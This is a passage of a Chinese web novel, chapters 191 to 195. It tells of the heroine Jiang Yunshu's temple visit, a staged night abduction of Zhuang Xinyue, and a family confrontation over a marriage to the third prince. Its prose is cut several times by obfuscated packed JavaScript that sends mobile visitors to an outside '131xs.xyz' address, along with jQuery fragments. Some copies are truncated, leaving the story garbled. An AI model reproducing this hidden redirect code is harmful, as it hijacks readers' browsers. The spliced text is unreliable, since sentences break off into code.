闵太君冷喝一声,抬手朝姜云舒那马车上挂着的牌子一指,“太后亲赐皇家马车,也就是姜云舒不张扬,否则,别说是你,就连你庆王府老太妃也得让路!” 一句话,将穆轻瑶的视线转到了姜云舒的马车上。 说起来,当初姜云舒出嫁时,穆轻瑶便听说太后赏赐了姜云舒一辆马车,当时她还有些嫉妒,如今只将注意力放在姜云舒身上,竟一时没注意就是这辆马车。 哼,就凭她一个罪臣之女,凭什么有资格乘坐太后赏赐的东西! 然而,穆轻瑶此时也只能在心中气恼,不管姜云舒是什么身份,此时她的确要给太后赏赐的马车让路。 “还愣着做什么,让路啊!” 她怒喝一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157863|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛里冒着火一般瞪着姜云舒,瞪着姜云舒那辆马车。 哼,马车是死物,等这辆马车毁了,她倒要看看姜云舒还要拿什么耀武扬威! 穆轻瑶的马车移动让开路,姜云舒这才继续往前,原本堵了的道路一下子通畅起来。 马车继续往前时,姜云舒自马车之中探出头来朝庄心悦投去一个笑容,然而,下一瞬却见庄心悦朝她瞪了一眼。 瞪了一眼? 姜云舒表情当即一滞,一时没明白这瞪一眼是什么意思。 不是,这庄二小姐的脾气属实让人捉摸不透,自己这又是什么时候惹了她了? 这边姜云舒正想不通,后面马车里,庄心悦没好气地坐了回去。 “以前不是挺嚣张的吗,还有太后亲赐的马车撑腰,她怎么就能让穆轻瑶挡在路中间?还以为她从沈家脱离出来就能恢复以前的意气风发,结果还是让人压着,真真气人!” “阿嚏!” 姜云舒冷不丁一个喷嚏,只觉后背有些发凉。 “春寒虽已过,但晨起还是有些凉意。” 闵青鸢抬手将毯子递给她,又忍不住提醒一声,“听说庆王与侧妃自小青梅竹马,对那位三小姐的宠爱甚至与嫡女别无二致,方才看她眼神,怕是不能轻易咽下让路的那口气。” 说着,她又伸手掀开车帘朝外面看了一眼,回过头来,神情又沉了几分。 “穆轻瑶马车外跟着的那个青衣的丫鬟,走路不留痕,她的武功恐怕不在月禾之下。” 姜云舒闻言同样掀开车帘往下看,除了注意到那丫鬟的气息和身形,还看到她腰间缠着的一把软剑。 一般材质的剑,坚硬但不会这般柔韧,只有北夷的特殊铁矿炼出来的剑会有这样的柔韧性。 北夷…… 姜云舒眉心蹙起,眼睛盯着那把剑的同时,脑子里闪过穆轻瑶和北夷能连接之处。 正想着,原本摇摇晃晃的马车停了下来。 崇光寺到了。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第191章 重要的人 姜云舒和闵青鸢下车,随着众人朝崇光寺里走。 寺院之中,小沙弥下山来迎接,众人随着上山,各自朝自己供灯的偏院走去。 姜云舒自出嫁之后,便在崇光寺为家人供了灯,此时姜家的供灯堂已经打扫妥当。 稚儿还小,并没有跟过来,闵青鸢随着姜云舒往里走,一切在寺院大师的引导下,给灯里添了新油,便随着往前堂去。 刚出供灯堂,就见谢无烬一身炫紫长袍倚在殿外的石柱边上,他似乎已经等了许久,见姜云舒和闵青鸢出来,站直身子,视线朝着姜云舒的方向看过来。 闵青鸢看了姜云舒一眼,伸手捏了捏她的手。 “我先去恭王府那边,你稍后再过来。” 见姜云舒点头,转身朝殿外走去。 向来目中无人的谢无烬,在闵青鸢经过他身边时,朝她点点头示意,闵青鸢愣了一瞬,也朝他点点头。 姜云舒站在原处,视线落在谢无烬脸上,明明还是那张脸,可此时那眉目之间的凛冽森寒却被掩盖住,神色庄重,甚至,在扭头看向姜云舒时,她依稀感觉到他眼中一丝不易察觉的悲伤。 正看着,谢无烬此时扭头,视线与姜云舒对视。 “走吧!”谢无烬朝她歪了歪头。 “好。” 姜云舒应声跟着走,并未多问。 答应过他的,今日要陪他一起,虽不知道他究竟有什么打算,但她却意外的没有丝毫紧张。 两人穿过几处大殿,又绕过两处长廊,最后来到了崇光寺一处安静不惹眼的偏殿。 这个地方…… 姜云舒四处扫过一遍,随即想起来,当初她和谢无烬在崇光寺再遇见时,便是在这一处偏殿,那时候,谢无烬似乎也是在祭拜什么人。 她回想着,并没有多问,只是跟着往里走。 给活人供灯与为逝者供灯的步骤不同,谢无烬亦未请大师引导,自己依照佛家礼数添了灯油,又将带来的供果,亦或者说,是一盘特制的点心,摆放在供果盘里。 姜云舒站在旁边,看着谢无烬忙碌的空隙,视线在那供桌上的牌位看了一眼,“香茗之位”,没有称呼,没有简介,只有一个简单的名字。 一般这样的牌位供奉,会让人下意识以为并不是什么重要之人,但自进来,谢无烬眼中的悲伤似乎更添了一层。 此时,姜云舒说不清楚心里是什么感觉,但能确定,这位香茗,应该是他的什么重要的人吧。 只是谢无烬虽在京城出生,却是在淮州长大,渊政王府除了元太妃,还并未听说京中有什么重要的人。 这位香茗,她亦未查到什么有用的信息。 正想着,谢无烬添了灯油之后,跪了下来,姜云舒犹豫了一下,没有跪,只跟着在旁边拜了拜。 谢无烬的嘴唇动着,似乎在与供奉的那位逝者说了什么,他没有出声音,姜云舒也听不见,等他说完起身,拉着姜云舒的手往外走。 姜云舒侧目看他,发现他的眼眶微微泛红,原本青白分明的眼中似乎也多了一些红血丝。 “谢无烬。” 姜云舒往回拉了一下,见谢无烬扭头,抬手将帕子里包裹的东西递到他跟前。 “什么?”谢无烬看她。 “佛灯果,院里大师给我的,据说吃了这个,晚上会会梦到自己想见的人。”姜云舒说着,又往他跟前举了举。 看他刚才悲伤的样子,应该很想那位名为香茗的人吧。 谢无烬看着她小心翼翼捧在手里,中间点了个红点的白白的馍,忍不住轻笑出声。 “你还相信这些?”他眸中的伤感散开,挑眉看着姜云舒。 “想相信就相信,万一真的能梦到呢?”姜云舒朝他眨眨眼睛。 或许是心理作用,以前姜云舒也会带佛灯果,竟真的梦到过爹娘和兄长,不得不说,那真的是美梦。 许是她的笑容有感染力,谢无烬勾了勾唇,张开嘴。 姜云舒愣了一下,伸手从佛灯果上撕下一块,喂进了他口中。 “嗯,这佛灯果的味道的确不错。”谢无烬朝他眨眨眼睛,随即伸手也给她撕了一块。 一个白面馒头,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164118|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没什么特殊的味道,可两人这样分着吃,软绵的馒头在唇齿之间,似乎更多了一丝甜味。 “你,想唐将军吗?”谢无烬突兀开口。 “嗯?”姜云舒顿了一下,脸上的笑缓缓沉了下来,“多年没有见过娘了,自然是想的。” 提及自己的娘亲,姜云舒脑子里忽然闪过有关渊政王妃和离令嫁的传言,扭头看向谢无烬,似乎想安慰,又不知如何开口。 他们,一个是被抛下,一个是与父母不得相见,似乎都很命苦的样子。 想到这里,心中难免心酸,姜云舒蹙了蹙眉,抿紧唇,而她此时这般表情,在谢无烬看来,似是要哭出来的模样。 “你,你别哭啊!” 谢无烬也没想到自己一句话惹哭她,紧忙安慰,“你若实在想念唐将军,要不然我回头找个时间,带你偷偷去一趟崖州?” 姜云舒暗自身上骤然停止,扭头看谢无烬,清亮的目中染着疑惑。 “如何去崖州?你应该知道的,我姜家女眷虽赦免,却不可擅自前往流放地,否则,当年我娘也不会跟着去了。”说着,她沉沉叹一口气。 早知道自己会走到现在这个境地,当初还不如跟着父母兄长一起去崖州呢。 瞧她垂头丧气,谢无烬伸手在她肩膀上拍了拍,“你不能,但是我可以。” “嗯?什么意思?”姜云舒眨眨眼睛,竟莫名的多了意思兴奋。 “最迟一个月,只要你敢跟我走,我自会带你去崖州看望父母。”谢无烬含笑的眸中带着一丝明显的谋划之意。 虽说自己是嫁到京城,可姜云舒心里也清楚,如今她在京城的处境和谢无烬别无二差,都是被困在皇帝眼皮子底下,半囚禁起来的质子。 原本,她也决定听从父亲的叮嘱,在京中踏实下来,只能将心中想要做点什么的躁动压制住,可如今想法被谢无烬激了起来。 她歪着头看谢无烬,同样朝他眨了眨眼睛。 “这有什么不敢的!” 谁还没个年少轻狂的时候,她才十九岁,正是可以折腾的年纪。 第192章 你指定对我有想法 傍晚,夕阳的霞光散落在崇光寺的各处殿堂,仿若给佛祖之地镀上了一层圣光。 用完斋戒饭,姜云舒便随月禾回了留宿的客堂。 许是这傍晚的精致太过美好,姜云舒和月禾坐在庭院之内,望着满天的霞光,难得安静地谁也没说话。 然而,这静谧并没有持续多久,一声清亮的女主打破了这满院的清净。 “姜云舒!” 声音自客堂外传来,姜云舒扭头,就见庄心悦大步走了过来。 她身边没有带侍女,此时过来,面上似乎还有几分紧张,仿佛此时来见姜云舒带着点秘密接头的意思。 姜云舒倒是一时没反应过来,起身迎着她看去,下意识开口。 “这么晚了,来找我有什么事吗?” “你!”庄心悦面色一滞,随即没好气的朝她瞪一眼,“不是你说的,供灯**会的时候让我来吗?我已经如约到了,你倒是说说,你到底想做什么?” “哦……”姜云舒佯装恍然想起来,朝庄心悦眨眨眼,“你是说,我答应帮你的事?” 答应帮她摆脱和三皇子的这桩婚事,还是答应帮她搞定裴钰,姜云舒不明说,就看庄心悦自己怎么理解了。 庄心悦自然下意识想到的是裴钰,想反驳,到底还是没说出来。 “姜云舒,我的确喜欢裴钰没错,但是我同样知道自己身处什么位置,我不会以自己的名声和家族为代价只求自己安逸。” 她的眼神明亮,似乎憋着一口气,紧紧地盯着姜云舒。 姜云舒也看着她,忽然觉着,庄心悦之前的刁蛮任性倒是比很多人知书达理之下的虚伪来得好。 她叹了一口气,道:“放心,便是不为你考虑,裴钰也是我最好的朋友,我希望裴钰能遂心,所谓遂心,自然不会以伤害自身和家族为代价。” 听她这样说,庄心悦似乎松了一口气,神情也稍稍缓和下来。 “你还不至于糊涂。” 庄心悦没好气地哼一声,还想吐槽她曾经眼瞎嫁给沈清安,可是犹豫了一下,终究还是没再说。 她都已经脱离沈家了,如今再说这些还有什么意义呢。 “所以,你究竟想怎么做?” 庄心悦依旧不怎么放心,可是那看起来严峻的表情里还有些几分期待。 “不着急,晚些时候你就知道了。” 姜云舒拍拍她的肩膀,转身往里走,一边走嘴里还在念叨,“你来得正巧,我去年在崇光寺埋下的梅花雪酿差不多能喝了,要不要喝一杯?” “酒?姜云舒,你竟然在寺庙里藏酒?你可真是道反天罡!”庄心悦忍不住瞪起了眼睛。 好家伙,佛门清净禁酒之地,她竟然在长明大师眼皮子底下埋了酒! 姜云舒不以为意,迎着她的视线看去,忍不住勾起唇角。 “你在佛家之地说道反天罡,也是挺欠揍的。” 站在佛门的地界儿说道家的言语,和姜云舒藏酒并没有什么区别。 庄心悦楞了一下,两人视线相互盯着对方,片刻,“噗呲”笑出了声。 不得不说,姜云舒酿酒的手艺的确让庄心悦大吃一惊,从一开始的试探小口轻啄,到最后两人端着碗喝,两人之间也从相见忍不住瞪对方两眼的关系,到拉着手共饮,也就不过一个时辰的功夫。 “你就说你眼睛是不是瞎吧,京城之中,随手抓一把都是世家之中培养出来的公子,想要能文能武的也不在少数,你说你怎么就看上那么个东西!” 庄心悦已经喝得晕晕乎乎,也没了之前的顾虑,索性也不憋着了,想说什么说什么。 “谁还没个年少不懂事的时候,我这不是迷途知返了吗。” 姜云舒端着酒碗往庄心悦的酒碗上碰了碰,“那你倒是说说,你又喜欢裴钰什么?说起来,你之前看我不爽,该不是因为裴钰将聘礼抬到沈家,然后你便将我视为情敌吧?” 庆王府家的穆轻瑶就是这样,她喜欢谢无烬,见谢无烬跟自己走得近,便处处找不自在。 然而,姜云舒这话一出,庄心悦当即眼珠子一瞪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜云舒交手的动静惊动了庄心悦,她迷迷瞪瞪抬起头来,就见姜云舒与黑衣人缠打在一起,当即酒便醒了一半。 “这,这是怎么回事?” 庄心悦猛然起身,说话之间,抄起旁边的凳子就要上。 “庄心悦,别过来!” 姜云舒冷喝一声,手中鞭子缠在那黑衣人手腕上,拽着将人往外拖。 庄心悦不会武功,此时她在,反而束手束脚,而且,出了这个房间才好喊人。 黑衣人似乎没想到姜云舒的武功这般犀利,一时间竟被她生拽去了院子里。 “庄心悦,喊人!”姜云舒缠斗之余朝庄心悦大喊一声。 到了外面,冷风一吹,庄心悦一下子清醒过来,一边往外跑,扯着嗓子喊救命。 然而,刚到大门口,却见另一黑衣人正提着剑往里面冲进来,庄心悦的心一下子就凉了。 完了,今天得死在这里! “你,你别进来,里面有恶犬,咬死你!”庄心悦一边往后退,面上做狰狞状。 黑衣人以黑色面罩遮住脸,庄心悦看不出来,此时的黑衣人竟然是月禾。 月禾在北域长大,身形本就比寻常女子生得高大一些,看起来就像是个身形消瘦的男子。 月禾也没想到庄心悦竟然自己跑出来了,抬头往里看,就见姜云舒已经和人打了起来。 她下意识低头看了看自己和里面那个同样的夜行衣,有些纳闷,不是,这怎么还多了一伙人? 来不及多想,此时姜云舒已经跟人交了手,当即就要进去帮忙,谁知刚迈一步,就听庄心悦尖叫一声 “啊,你不要过来呀!” 说着,她蹲下身从地上捡了一块石头就往月禾身上扔。 姜云舒听到声音看过来,瞧见是月禾,扭头朝庄心悦大喊一声。 “庄心悦,愣着做什么,快跑!” 这一声是对着庄心悦喊的,提醒的却是月禾,让月禾依旧按计划进行,带着庄心悦离开。 说完,担心月禾没明白,又用鞭子缠着黑衣人,往月禾的方向砸了过来。 黑衣人瞧见月禾时也懵了,一时走神被姜云舒得了手,整个人被长鞭缠着吊起来,飞也似地往月禾身上砸 “哎哟!” 月禾一下子反应过来,一个快步转身,上前拽住庄心悦扛起来就跑。 刚才庄心悦救命的那几嗓子喊的声音也有了效果,两人刚出了客堂的门,就见裴钰拿着长剑冲了过来。 裴钰一眼瞧见姜云舒和黑衣人正打在一处,正要过去帮忙,结果扭头就见庄心悦被人扛着跑了,当即朝姜云舒大喊一声。 “姜云舒,抓活的!” 喊完头也不回地去追庄心悦。 见裴钰去追庄心悦,姜云舒下意识松一口气,正要放开手脚打一场,结果,就见三皇子提着剑也到了门口。 “什么人,竟敢行刺乐安县主!” 这一声,听得姜云舒忍不住翻个白眼。 你要帮忙直接过来就行了,喊一声是给黑衣人提个醒吗? 正吐槽着,就见三皇子上前朝着黑衣人胸口刺了过来,然而,那一剑虚晃了一下,结果被黑衣人躲过去,反而差点刺在姜云舒身上。 “三殿下!” 姜云舒扭头朝三皇子瞪一眼,紧接着手腕用力,抬脚踹开黑衣人刺过来的剑。 三皇子趔趄两步,伸手扶住姜云舒。 “你没事吧,孤没看清。”他一脸愧疚。 姜云舒堵了一口气,但此时也没心思与他计较,眼瞧着黑衣人又冲过来,手中长鞭奋力甩了出去。 三皇子也没多余的功夫多想,紧忙又跟了上去。 他倒也是在帮忙,可是帮忙的同时还妨碍姜云舒,姜云舒接连几次进攻被阻,一下子炸了。 “三殿下,你起开!” 动手的时候,最烦的就是帮倒忙! 要说三皇子也是领兵之人,怎么上手却是这般程度? 到底是没有实战过,光是仗着身份高贵便统管军队,到底是不行的。 这边三皇子被姜云舒一把推开,趔趄两步才站稳,还要上前,被姜云舒一个眼神警告,当即站在原地不动。 没了三皇子的束手束脚,姜云舒终于开了气场,手中长鞭带着风声嗖嗖的朝着黑衣人的身上扫过。 原本黑衣人还能应对,几鞭子下来,已经略显吃力。 “啪!” 一鞭子带着凛冽的风声抽在黑衣人脸上,险些将那遮住脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171019|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑布扫开,黑衣人当即一凛,来不及反击,转身就跑。 姜云舒下意识追过去,刚到门口却见一帮人蜂拥般朝着客堂的方向奔了过来。 “姜云舒,你可受了伤?”三皇子紧忙上前。 姜云舒鼓起的一口气霎时间就散了,扭头一把甩开三皇子,再转身,已经没了黑衣人的影子。 “哎呀,这是遭了贼啊!” 人群之中,不知是谁喊了一声,纷纷朝着姜云舒的方向看来。 姜云舒看向众人,最后视线落在太师府众人的方向。 “不是贼!是有人想害命,庄夫人,快,庄心悦被人带走了!”她声音急促,还没从刚才的打斗中缓过来。 “什么?心悦,怎么会这样!” 庄夫人惊呼一声,眼看着就要晕过去,幸而身边丫鬟及时扶住了她。 “快去救人,快去!”庄夫人火急火燎地吩咐庄家侍卫。 “您先别急,刚才裴钰已经追了出去!”姜云舒紧忙上前 宽慰的话刚出口,却听得庄家人群中传来一声冷哼。 “据我所知,二姐姐与乐安县主关系并不怎么好,她怎么会在这大晚上的来你这里?若是小姐妹相会也就算了,怎么还有裴钰呢?” 姜云舒抬头,分辨出说话的正是太师府的四小姐,庄心雅。 庄心雅生母虽是妾室,但也是官宦家出身,相比其他妾室身份更高贵,在府上也是贵妾。 大概因为一个“贵”字,庄心雅自小觉着自己金贵,处处与庄心悦争抢。 此时她的一句话,将问题的重点引导了“半夜私会”上。 皇后准备定下庄心悦为三皇子妃的事情并不算什么秘密,如今庄心悦半夜与外男私会,除了败坏自己的名声,还打了皇后的脸。 皇后舍弃了庄心悦,如今太师府适龄的女子里便只剩下她庄心雅一个人了。 姜云舒瞧着她眼中难掩的得意,当即明白了她的盘算,不由得冷笑出声。 “庄四小姐,我方才只是说,裴钰去追了,你如何知道他便是在我客堂之中?难不成,你在我的院外安排了人?” 她盯着庄心雅的脸,冷峻的视线几乎要将她看穿,“方才出现的黑衣人,不会是你安排的吧?” 第194章 蠢货母女 “你,你胡说什么!” 庄心雅后退一步,顶着姜云舒的压迫,咬牙,“你刚才说了,是裴钰追了出去,三皇子还在这里,怎么轮得到他去追?肯定是他原本就在这里!” 一句话是替自己反驳,却在不经意之间将刀子捅向了三皇子。 “是啊,为何去追的不是三皇子!” 庄夫人这才回过神来,扭头看向三皇子,“方才来时,我们正好看到离开的黑衣人,如此想来,定然是有同伙的,裴钰武功也不是很好,万一他招架不住……三殿下,心悦是皇后为你定下的王妃,你如何还在这里?” 此时,庄夫人的言语之间带着质问。 原本这桩婚事她就不同意,可关系太师府和皇后,她说话的分量并不大,即便不舍得,也只能咬牙忍着。 如今庄心悦出事,三皇子却还在这,一时间怒气便涌了上来。 三皇子此时脸色拧着,朝庄心雅瞪一眼,下意识开口解释。 “孤在裴钰之后过来,已经派人一同增援,这边姜云舒亦是招架吃力,孤总不能见死不救。” 他说得一本正经,姜云舒在旁边听着恨不得捅他一剑。 好歹是皇家之人,还要不要脸了? 要不是你在这里碍事,刚才那黑衣人肯定走不了! 姜云舒当然不能骂出声来,只能暗自默默吐槽。 她没有当众戳穿三皇子,周边看热闹的众人闻言也忍不住小声议论。 “哎呀,无妄之灾啊!原本还以为,庄二小姐与三皇子这婚事若成了,还是天作之合呢,结果成了这样!” “庄二小姐真真是没有服气啊,整个京城权贵,可就数三皇子文成武就。” “听说庄太师与皇后兄妹关系不和,看来是想靠这门婚事修复关系,结果成了这样。” “就是说啊,庄二小姐名声一毁,这庄家的儿女都得影响,可怜那庄四小姐还没议亲” 听着众人的议论,周姨娘扭头看向老夫人,突然就哭了起来。 “这可怎么是好啊,深更半夜被掳走,二小姐这名声……岂不是我庄家一府的女眷都要被影响,我雅儿年纪还小,以后可怎么办,还请老夫人做主啊!” 她让老夫人做主,无非是想说,庄心悦影响了庄心雅的名声,以后的婚事,得让老夫人给选,老夫人又一心撮合太师和皇后兄妹冰释前嫌,自然要将庄心雅送进三皇子府了。 不得不说,这母女俩的算盘打得噼里啪啦响,再明显不过了。 庄老夫人的脸色难看到了极点,苍白着脸色,正要说话,就听得门口传来一声清脆的女声。 “周姨娘要祖母做什么主呢?” 声音传入耳中,众人猛然间回头,就见庄心悦在月禾的搀扶下,一瘸一拐的走了进来。 跟在她身后的,还有鼻青脸肿的裴钰。 姜云舒也跟着众人的视线看过去,瞧见庄心悦时眸光沉了一下,随即又看到裴钰,嘴角不受控制的一抽。 不是,月禾下手也太重了吧? 做做样子就行了,何必往死里打呢,你打裴钰也就算了,怎么连庄心悦也瘸了? 此时月禾也刚好抬头与姜云舒的视线交汇,当即表情一变,仿佛鼓着一肚子气。 姜云舒疑惑,此时庄心悦已经进了院子。 她咬牙皱着眉头忍着脚上的伤,几步走到周姨娘跟前,视线在她们母女脸上扫过,哼笑出声。 “被掳走的人是我,你们在委屈什么呢?” “我……” 周姨娘和庄心雅一时间被噎得说不出话来,倒是庄夫人红着眼睛过来,一把将庄心悦抱住。 “我的儿!” 庄夫人抱住庄心悦,浑身还在后怕之中颤抖,“回来了,你没事真是太好了,吓死娘了!” 庄夫人一边心疼着,一边轻轻在庄心悦身上拍着。 庄老夫人也紧忙过来,视线在庄心悦身上打量,“悦儿,快让祖母看看,你有没有受伤?” “祖母,我没事,只是受伤擦破了皮。” 庄心悦忍着疼朝庄老夫人笑了笑,随即又在人群中扫过,看了姜云舒一眼。 “幸好月禾及时赶到,我并未受到任何伤害,倒是裴钰……” 说话间,扭头看到裴钰那鼻青脸肿忍不住扯了扯嘴角。 “还是先让大夫给他瞧一瞧吧!” 挺好看的一张脸,都没个人样了! “啊,快,快叫大夫过来!”庄夫人紧忙吩咐一声。 寺院之中有医僧,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她慌了,下意识看向周姨娘,然而,还没开口,就见门口处,庄太师带着侍卫走了进来。 第195章 三皇子,不用谢 “悦儿怎么样?” 说话间,庄太师快步从人群中走了进来,一眼看到庄心悦好好的在这,当下松了一口气。 “到底怎么回事?”他冷着声音问。 方才,他正在书房与人议事,事情机密,提前交代了侍卫不准任何人进来,这才来晚了。 听得庄太师这般问,庄夫人冷哼一声,将刚才的事情原本说了一遍。 到底是高门大户出身,此时庄夫人虽然一肚子气,但在外人面前,到底还是顾着庄家的脸面,有些事情并没有明说。 可庄太师又是什么人物?庄夫人没说的话在他揣摩之后,已经明白了怎么回事,随即转身抬起手。 “啪”一个响亮的耳刮子抽在了庄心雅脸上。 这一巴掌是用了些力气的,直抽得庄心雅眼冒金星,脑瓜子里“嗡嗡”的。 “爹,爹……” 她摔在地上,捂着脸,含泪的眼睛里尽是惊恐。 “混账东西,平日里是我太纵容你,才让你有了胆子敢做这样的事!”庄太师咬牙切齿。 旁边周姨娘也是被这一巴掌吓到,随即反应过来,惊叫着冲到庄心雅跟前。 “老爷,您怎么能对雅儿动手!只凭一支金簪,怎么能认定是雅儿做的,你……” “闭嘴!” 庄太师一声冷喝,堵了周姨娘的嘴,“这其中你又知道多少!别以为我不知道你脑子里在想什么,你既然管教不好,自今日之后,便将雅儿交给夫人管教!” “老,老爷!”周姨娘骤然瞪大眼睛,扑通一声跪在地上,“妾只有雅儿一个女儿,您将她带离妾身边,可让妾怎么活啊,你就真不给我们一条活路吗!” 周姨娘的哭得凄厉,搂着庄心雅仿佛受了天大的委屈。 庄心雅也一把鼻涕一把泪,似乎有了周姨娘在身边,她的胆子也让大了些。 “我不去!我才不要去!我死也不去!” “那你就**!”庄太师怒喝一声,恨铁不成钢地瞪着这对母女。 蠢货,真是蠢货! 姜云舒站在旁边看着,唇畔勾起的弧度带着一丝不易察觉的玩味。 将庄心雅交给夫人管教,这件事便是庄家关起门来的事情,关起门来自然可大可小,偏偏这对母女脑子里灌了浆糊。 就这脑子,还整天想着上蹿下跳,也就仗着庄太师的宠爱才能活到现在的吧! 庄心雅被庄太师吼得一哆嗦,下意识往周姨娘怀里缩了缩,再也不敢乱嚷。 便是周姨娘,此时看到庄太师被愤怒憋红的脸的,也吓住了,母女二人抱在一起,就像即将被赶出家门的猫狗。 庄太师居高临下的睨着她们,大手一挥,“来人,将这对母女送回去,关一个月禁闭,没有我的命令,不许出房门一步!” 声音落地,很快便有庄家的妈妈上前来,拉着周姨娘和庄心雅往外走。 两人似乎也意识到事情严重,被带走时,一句话都没说。 处置了周姨娘和庄心雅,庄太师转过身来,视线落在三皇子身上。 “多谢三殿下派人救助小女。” 道谢的话,却是带着明显的疏离和嘲讽。 裴钰尚且不顾一切的去救庄心悦,他这个要议亲的人却只派了下人去帮忙。 呵,三皇子若是不满意这门亲事,庄家也不是非得上赶着。 三皇子明显听出庄太师言语之间的冷漠,扯了扯嘴角,表明态度。 “今晚之凶险,孤一定会彻查到底,给二妹妹一个交代!” 话音刚落,就听门口传来一个清朗的声音。 “巧了,三皇子要彻查,这人便带来了!” 众人闻言猛地转身,就见谢无烬走了进来,他身后的侍卫手里还拎着一个黑衣人。 正是之前与姜云舒交手的那个。 “三殿下,不用谢!”谢无烬朝三皇子勾了勾唇角。 三皇子面勉强维持的笑容一下子僵住! 不是派人接应了吗,竟然没逃走! 正想着,就见庄太师快步上前,一把扯开那黑衣人脸上的蒙面黑布。 一张平平无奇的脸,眼神倒是挺凶狠的,此时额间一道明显的血痕,正是刚才姜云舒的鞭子抽的。 “说,到底是谁拍你来的?” 庄太师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好小子,没白疼你 黑衣人的话出口,惊得众人倒吸一口凉气,霎时间,视线纷纷转向三皇子的方向。 “胡说八道!” 三皇子神色凛然,说话间朝着黑衣人走过去,手中长剑挑起。 “三殿下!” 太师快步上前,抬手卡住三皇子的手腕。 “臣相信,三皇子绝对不会做出这样的事,既然他是胡说八道,便将他交给刑部,想来刑部定然能给我庄家和三皇子一个说法。” 庄太师面上不动声色,手上却是悄无声息用力。 交给刑部另说,事情到了这个地步,就不能当着众人的面儿断,要断也是得去皇上跟前。 三皇子脸色铁青,可他也知道,如今这局面只能听从庄太师的安排。 “来人,将他捆了,移交刑部!” 三皇子一声令下。 庄太师冷厉的视线在三皇子脸上,正要开口,却听得旁边一声哭诉。 “老爷,如今你也看到了,我悦儿尚未出嫁便闹出这么大的事情,若真嫁过去,鸡飞狗跳不说,还有人时时想要她的命,你是他的父亲,就不能给孩子一条活路吗?” 庄夫人搂着庄心悦,她没哭,但眼睛里泛着红,仿佛有人敢动庄心悦,她就要拼命。 不管这贼人交给什么人审理,有人蓄意谋害庄心悦是事实,庄心雅母女居心不良还好说,可三皇子的态度就在这里摆着,不管是不是他在背后主使,这门婚事对于庄心悦来说,都是火坑。 庄夫人本就不情愿这门亲事,如今也正好趁着这件事发作。 庄太师扭头看庄心悦,娇养多年的端庄女儿,此时头发凌乱,白皙的脸上沾染着脏污,那双眼睛在他看过来时,顿时染上了一层委屈。 “爹,求您疼惜女儿!”庄心悦委身跪在地上。 庄太师眼皮颤了颤,明明是最听话的孩子,此时却被这么多人算计,他难免心疼,可母亲那边…… 瞧着庄太师眼睛里还有犹豫,庄夫人一咬牙,索性将憋了多年的话趁机发泄出来。 “我一共就两个女儿,如今心妍已经为了家族远嫁,我身边只剩下心悦这一个,我自认为这么多年对得起庄家,可庄家的兴旺一定要从我身上剜肉吗?今日我便将话说明白了,你若真要将我悦儿往火坑里推,她出嫁那日,我便吊死在庄家大门口!” 庄夫人神情拒绝,没有留丝毫缓和的余地。 当年大女儿出嫁,她没有勇气阻拦,远嫁之女,便是日子再辛苦娘家也是鞭长莫及,只能自己撑着,可如今这个再护不住,可是命都要没了。 几句话,如针一般往庄太师心口上扎,眼瞧着庄夫人伤心到几乎站不住,来不及多想,上前扶住。 “母亲,如今局面你也看到了。” 庄太师扶着庄夫人,转向老夫人,眸中神情沉冷,“当**,本应该是做错之人认错,而不是因为我是大哥便要服软,心悦已经在鬼门关过了一遭,您若了怜惜她这个孙女,就给她留一条活路!” 他声音平和,可出口的字字句句带着不容置疑的坚定。 